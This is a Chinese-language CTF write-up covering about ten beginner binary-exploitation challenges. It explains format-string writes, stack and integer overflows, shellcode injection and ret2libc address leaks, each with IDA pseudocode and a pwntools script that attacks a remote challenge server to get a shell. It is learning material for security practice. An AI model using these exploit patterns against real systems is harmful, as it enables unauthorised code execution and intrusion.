get_shell
學會第一步nc
CGfbs
IDA反匯編得到偽代碼:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-82h] [ebp-82h] int v5; // [esp-7Eh] [ebp-7Eh] __int16 v6; // [esp-7Ah] [ebp-7Ah] int v7; // [esp-78h] [ebp-78h] unsigned int v8; // [esp-14h] [ebp-14h] v8 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); v4 = 0; v5 = 0; v6 = 0; memset(&v7, 0, 0x64u); puts("please tell me your name:"); read(0, &v4, 0xAu); puts("leave your message please:"); fgets((char *)&v7, 100, stdin); printf("hello %s", &v4); puts("your message is:"); printf((const char *)&v7); if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); } else { puts("Thank you!"); } return 0; }
關鍵是:
printf((const char *)&v7);
V爺爺這么說:
所以沒有format參數的printf()函數就造成了->格式化字符串漏洞
這道題要求我們使pwnme變量變成8,所以,利用該漏洞實現任意位置寫,關鍵是
(1)printf( )的%n說明符可以向指定變量中寫入之前輸入的總字符串長度
(2)$操作符可以指定參數輸出位置
所以得到整體思路如下:
先得到我們寫入的字符串在棧中的偏移量,利用該偏移量實現在pwnme_addr的位置寫入8:
exp如下:
from pwn import * p=remote('111.198.29.45','59495') #遠程連接 pwnme_addr=0x0804A068 #pwnme地址,為整型變量 payload=p32(pwnme_addr)+'aaaa'+'%10$n' #p32()轉換整數到小端序格式,p32轉換4字節,p64和p16則分別轉換8byte和2byte數字 #pwnme地址為四個字節長度,字符a湊個數,%n(之前輸出的字符串長度)的數為8 #%10$實現在偏移量為10處寫入 p.recvuntil("please tell me your name:\n") #recvuntil(some_string) 接收到 some_string 為止 p.sendline('xxxx') #sendline(payload) 發送payload,並進行換行(末尾\n) p.recvuntil("leave your message please:\n") p.sendline(payload) p.interactive() #interactive()在終端里將命令傳送到遠程服務器,pwntools自動接收輸出並回顯
when_did_you_born
64bit反匯編:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax char v4; // [rsp+0h] [rbp-20h] unsigned int v5; // [rsp+8h] [rbp-18h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("What's Your Birth?"); __isoc99_scanf("%d", &v5); while ( getchar() != '\n' ) ; if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d\n", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); } else { puts("You Are Naive."); puts("You Speed One Second Here."); } result = 0LL; } return result; }
要求我們第一次的判斷v5!=1926,第二次的判斷v5==1926,於是利用兩次判斷中間的操作:gets( )函數漏洞(即:gets( )不會檢查輸入的字符串長度,只以換行符判斷輸入的結束)實現覆蓋v5為1926,exp如下:
from pwn import * p=remote('111.198.29.45','51041') payload='a'*0x8+p64(1926) #在IDA中可以看到v4和v5之間相差0x8h p.recvuntil("What's Your Birth?\n") p.sendline('2000') p.recvuntil("What's Your Name?\n") p.sendline(payload) p.interactive()
hello_pwn
64bit反匯編:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); read(0, &unk_601068, 0x10uLL); if ( dword_60106C == 1853186401 ) sub_400686(0LL, &unk_601068); return 0LL; }
要求我們,利用輸入的unk_601068變量覆蓋其后四個字節dword_60106C為指定的內容,於是exp如下:
from pwn import * p=remote('111.198.29.45','41532') payload='a'*0x4+p64(1853186401) #在IDA中看到bss段中unk_601068和dword_60106C相差4 p.recvuntil("~~ welcome to ctf ~~ \n") p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive()
注:
這里p64( )會將整型轉換成小端序列傳給遠端程序,若我們直接輸入字符串,需要注意逆置成小端序列傳入(內存與寄存器存儲序列相反)
level0
64bit反匯編:
int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); }
跟進vulnerable_function( ):
ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); }
同時看到:
於是大致思路應該是利用read( )函數實現棧溢出,將返回地址覆蓋成callsystem( )函數的地址進行執行,exp如下:
from pwn import * p=remote('111.198.29.45','36707') payload='a'*0x80+'xxxxxxxxx'+p64(0x000000000040059A) p.sendline(payload) p.interactive()
注:
vulnerable_function( )函數的匯編指令在返回指令之前還有一步leave( )指令:
;相當於---> mov rsp,rbp pop rbp
其中pop操作會把64位二進制彈出棧,因此需要傳入'xxxxxxx'覆蓋這一部分的字符,觀察棧中buf的結構也可以得到這一點:
level2
32bit反匯編:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'"); return 0; } ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); }
main( )函數的匯編指令:
同時在string中看到:
跟進找到地址,
於是,大致思路應該是通過read( )函數傳入字符串覆蓋buf,同時將返回地址覆蓋成system( )函數,再將我們的‘/bin/sh’作為參數傳進system( )函數,getshell,exp如下:
from pwn import * p=remote('111.198.29.45',43927) payload='a'*0x88+'xxxx'+p32(0x0804845C)+p32(0x0804A024) p.sendline(payload) p.interactive()
string*
64bit反匯編:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { _DWORD *v3; // rax __int64 v4; // ST18_8 setbuf(stdout, 0LL); alarm(0x3Cu); sub_400996(); v3 = malloc(8uLL); v4 = (__int64)v3; *v3 = 68; v3[1] = 85; puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ..."); puts("we will tell you two secret ..."); printf("secret[0] is %x\n", v4, a2); printf("secret[1] is %x\n", v4 + 4); puts("do not tell anyone "); sub_400D72(v4); puts("The End.....Really?"); return 0LL; }
這一部分關鍵是輸出了v4和v4+4,也就是v3的地址和v3[1]的地址
注:%x輸出十六進制內容,而v4中存儲的是v3,v3又是malloc( )函數的返回值,為分配空間的首地址
跟進sub_400D72( )函數:
unsigned __int64 __fastcall sub_400D72(__int64 a1) { char s; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("What should your character's name be:"); _isoc99_scanf("%s", &s); if ( strlen(&s) <= 0xC ) { puts("Creating a new player."); sub_400A7D(); sub_400BB9(); sub_400CA6((_DWORD *)a1); } else { puts("Hei! What's up!"); } return __readfsqword(0x28u) ^ v3; }
這一部分首先要求我們先輸入一個長度小於等於12的字符串,接着跟進sub_400A70( ),發現要求我們輸入east,接着是sub_200BB9( ):
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf("%ld", &v2); puts("And, you wish is:"); _isoc99_scanf("%s", &format); puts("Your wish is"); printf(&format, &format); puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
這一部分又是關鍵,首先要求我們輸入1,然后看到
printf(&format);
格式化字符串漏洞,最后我們看看sub_400CA6( ),
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
關鍵是
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
於是,這句話的意思是:將v1強制類型轉換成返回值為void,協議為_fastcall,參數為任意類型的函數指針,最后執行v1,因此我們可以利用這句話和上面的read( )執行shell,而執行的條件是*a1==a1[1],即v3[0]==v3[1],接下來就是想辦法利用上面那個格式化字符串漏洞還有一開始程序給我們的v3地址實現這一點:我們將v3地址輸入到v2中,查看棧結構得到偏移量利用%n進行寫入
exp如下:
from pwn import * context(arch='amd64',os='linux') #用於生成64bit下的shellcode p=remote('111.198.29.45',36843) payload1='Theffth' payload2='east' payload3='1' #payload為字符串形式 p.recvuntil("secret[0] is ") #遠程程序輸出位置 addr=int(p.recvuntil("\n")[:-1],16) #將輸出的十六進制數轉換成十進制數 payload4=str(addr) #轉換成字符串形式 payload5='%85c%7$n' #見下說明 payload6=asm(shellcraft.sh()) #生成shellcode,以執行反彈shell p.recvuntil("What should your character's name be:\n") p.sendline(payload1) p.recvuntil("So, where you will go?east or up?:\n") p.sendline(payload2) p.recvuntil("go into there(1), or leave(0)?:\n") p.sendline(payload3) p.recvline("'Give me an address'\n") p.sendline(payload4) #此處程序要求輸入十進制數,沒看清死在這里數小時>_< p.recvuntil("And, you wish is:\n") p.sendline(payload5) p.recvuntil("Wizard: I will help you! USE YOU SPELL\n") p.sendline(payload6) p.interactve()
注:
1.利用pwntools生成shellcode:
#64位為amd64,默認生成32位 shellcode=asm(shellcraft.sh())
2.得到偏移量為7的兩種方式:
補充:
在64位環境下,函數的調用所需要的參數是優先通過寄存器來進行的。寄存器的順序如下:rdi,rsi,rdx,rcx,r8,r9。當一個函數有大於6個整型參數,則超出的部分會通過棧來傳遞。所以上面查看棧頂指針rsp得到偏移量為1,但實際上為1+6=7.
guess_num
64bit反匯編:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] char v7; // [rsp+10h] [rbp-30h] unsigned int seed[2]; // [rsp+30h] [rbp-10h] unsigned __int64 v9; // [rsp+38h] [rbp-8h] v9 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); v4 = 0; v6 = 0; *(_QWORD *)seed = sub_BB0(); puts("-------------------------------"); puts("Welcome to a guess number game!"); puts("-------------------------------"); puts("Please let me know your name!"); printf("Your name:", 0LL); gets(&v7); srand(seed[0]); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v4); puts("---------------------------------"); if ( v4 != v6 ) { puts("GG!"); exit(1); } puts("Success!"); } sub_C3E(); return 0LL; }
程序要求我們在10輪游戲都輸入與它的隨機數相同的數字,在這里,如果srand( )函數的種子相同的話,則生成偽隨機數,即每一次得到的數字是相同且可知的,於是我們利用危險函數gets( )覆蓋下一條語句中的種子seed[0],在IDA棧中可以看到v7和seed[2]之間偏移0x20,於是構造exp如下:
from pwn import * from ctypes import * #python標准庫中混合python和C編程的模塊 p=remote('111.198.29.45',51705) libc= #在linux下使用:ldd 文件名 可以得到該文件需要鏈接的動態鏈接庫和路徑 payload='a'*0x20+p64(1) p.recvuntil("Your name:") #程序使用printf()函數輸出,不帶自動換行符 p.sendline(payload) libc.srand(1) for i in range (10): payload2=str(libc.rand()%6+1) #C語言中的到隨機數的方式 p.recvuntil("Please input your guess number:") p.sendline(payload2) p.interactive()
int_overflow
32位反匯編:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
跟進login( )函數:
char *login() { char buf; // [esp+0h] [ebp-228h] char s; // [esp+200h] [ebp-28h] memset(&s, 0, 0x20u); memset(&buf, 0, 0x200u); puts("Please input your username:"); read(0, &s, 0x19u); printf("Hello %s\n", &s); puts("Please input your passwd:"); read(0, &buf, 0x199u); return check_passwd(&buf); }
繼續跟進check_passwd( ):
char *__cdecl check_passwd(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); } return result; }
發現要求v3的長度在4-8之間才會puts("Success"),同時strcpy( )也不會限制源字符串的長度,直接進行拷貝,是危險函數,我們可以利用這一點實現棧溢出,同時:
dest在棧中結構:
因此構造payload='a'*0x14+'xxxx'+p32(0x0804868B),實現棧溢出並執行what_is_this函數。但是要做到這一點必須滿足if( )條件判斷,觀察到v3為unsigned __int8,也就是0-255,所以利用整型溢出,使我們的s長度在260-264即可,exp如下:
from pwn import * p=remote('111.198.29.45',40442) payload='a'*0x14+'aaaa'+p32(0x0804868B) payload=payload.ljust(260,'a') #ljust()函數使輸入的字符串左對齊,空余處填充字符,上一行也相當於:payload=payload+'a'*232 p.recvuntil("Your choice:") p.sendline('1') p.recvuntil("Please input your username:\n") p.sendline('Theffth') p.recvuntil("Please input your passwd:\n") p.sendline(payload) p.interactive()
cgpwn2
這道題題目中的字符串還有函數中上面的一堆代碼都是嚇人的emm,32bit反匯編:
int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); hello(); puts("thank you"); return 0; }
跟進hello( )函數,
char *hello() { char *v0; // eax signed int v1; // ebx unsigned int v2; // ecx char *v3; // eax char s; // [esp+12h] [ebp-26h] int v6; // [esp+14h] [ebp-24h] v0 = &s; v1 = 30; if ( (unsigned int)&s & 2 ) // S!=1 { *(_WORD *)&s = 0; v0 = (char *)&v6; v1 = 28; } v2 = 0; do { *(_DWORD *)&v0[v2] = 0; v2 += 4; } while ( v2 < (v1 & 0xFFFFFFFC) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0; v3 += 2; } if ( v1 & 1 ) *v3 = 0; puts("please tell me your name"); fgets(name, 50, stdin); puts("hello,you can leave some message here:"); return gets(&s); }
發現我們可以利用的就是兩個危險的輸入函數,用來實現執行拿到shell的函數,但是這次沒有/bin/sh了,需要我們自己寫入,這就利用了第一個fgets( )函數,它的第一個參數name是一個全局變量,可以存放我們的/bin/sh,之后就是利用gets( )函數實現棧溢出執行system函數:
exp如下:
from pwn import * p=remote('111.198.29.45',42193) payload1='/bin/sh' payload2='a'*(0x26+0x4)+p32(0x08048420)+'xxxx'+p32(0x0804A080) p.recv() #接受消息直到\n結束 p.sendline(payload1) p.recv() p.sendline(payload2) p.interactive()
注:
這道題和level2那道題正好是一個系列,都是通過棧溢出執行system(/bin/sh)指令,但是level2在數據段提供了/bin/sh:
這道題需要我們把指令寫入變量bss段:
除此之外,這道題在執行了plt的system指令后還利用了'xxxx':
payload2='a'*(0x26+0x4)+p32(0x08048420)+'xxxx'+p32(0x0804A080)
首先利用無用字符覆蓋棧造成溢出,將返回地址覆蓋成plt的system函數,接着執行system函數,而這時system函數也會有一個返回地址,而在執行完system函數后它的返回地址已經沒有利用意義了,所以也用無用字符覆蓋,在返回地址之后的棧幀中存儲的便是傳入的參數,這時傳入我們的name即可。
同時發現level2並沒有覆蓋system 函數的返回地址:
payload='a'*0x88+'xxxx'+p32(0x0804845C)+p32(0x0804A024)
這是因為:
我們這里返回地址覆蓋的是call system指令,而不是像上面執行plt中的system函數,所以沒有system函數返回地址(?在函數調用中壓棧后彈棧),棧中下一個參數就是函數的參數。
level3
這道題首先得到壓縮包,分析后提取出libc庫文件和程序的elf文件,大大降低了難度(網太差了,死活裝不上libcsearcher...),首先分析32位反匯編:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; }
跟進vulnerable_function( ):
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); }
可以看到read( )函數明顯是棧溢出點,同時這道題目告訴我們沒有給出system,所以大致思路就是:
利用read( )函數的上一個write( )函數結合題目給出的libc動態鏈接庫題目給出的libc動態鏈接庫->泄露出本次網絡連接時write( )函數的實際地址->從而推算出libc基址,利用偏移量得到system的地址,通過兩次棧溢出拿到shell,exp如下:
from pwn import * p=remote('111.198.29.45',50134) elf=ELF('./level3') libc=ELF('./libc1') #從壓縮包中提取的兩個文件 write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] #elf模塊提供了一種便捷的方式來迅速得到文件內函數的地址、plt位置和got表位置 payload='a'*0x88+'xxxx'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #見下說明1 p.recvuntil("Input:\n") p.sendline(payload) #第一次棧溢出,拿到實際地址 write_got_addr=u32(p.recv(4)) #32位得到4個字節的write_got地址,利用u32解析成32位整型 libc_addr=write_got_addr-libc.symbols['write'] sys_addr=libc_addr+libc.symbols['system'] bin_sh_libc=libc.search("/bin/sh").next() #在libc中直接搜索的到binsh的地址 bin_sh_addr=libc_addr+bin_sh_libc payload1='a'*0x88+'xxxx'+p32(sys_addr)+'xxxx'+p32(bin_sh_addr) #見下說明2 p.recvuntil("Input:\n") p.sendline(payload1) #第二次棧溢出 p.interactive()
說明1:
payload='a'*0x88+'xxxx'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
write( )函數泄露,通過elf獲得write函數在plt表和got表中的地址,'xxxx'用於覆蓋EBP,返回地址覆蓋成主函數(vulnerable_function()同),以進行第二次棧溢出,接下來是write函數的三個參數:
write(fd, addr, len)
其中,1為標准輸出流sdout,write_got為要泄露的地址,4代表輸出4個字節。
說明2:
payload1='a'*0x88+'xxxx'+p32(sys_addr)+'xxxx'+p32(bin_sh_addr)
第二次棧溢出,這次執行system( )函數並傳入參數/bin/sh
此處地址的計算:
libc_addr=leak_addr-leak_libc(函數泄露的實際地址-函數在libc中的地址)
system_addr=libc_base+system_libc
bin_sh_addr=libc_addr+bin_sh_addr
注:
此次攻擊原理:libc中的函數的相對地址是固定的
補充plt和got:https://blog.csdn.net/linyt/article/details/51635768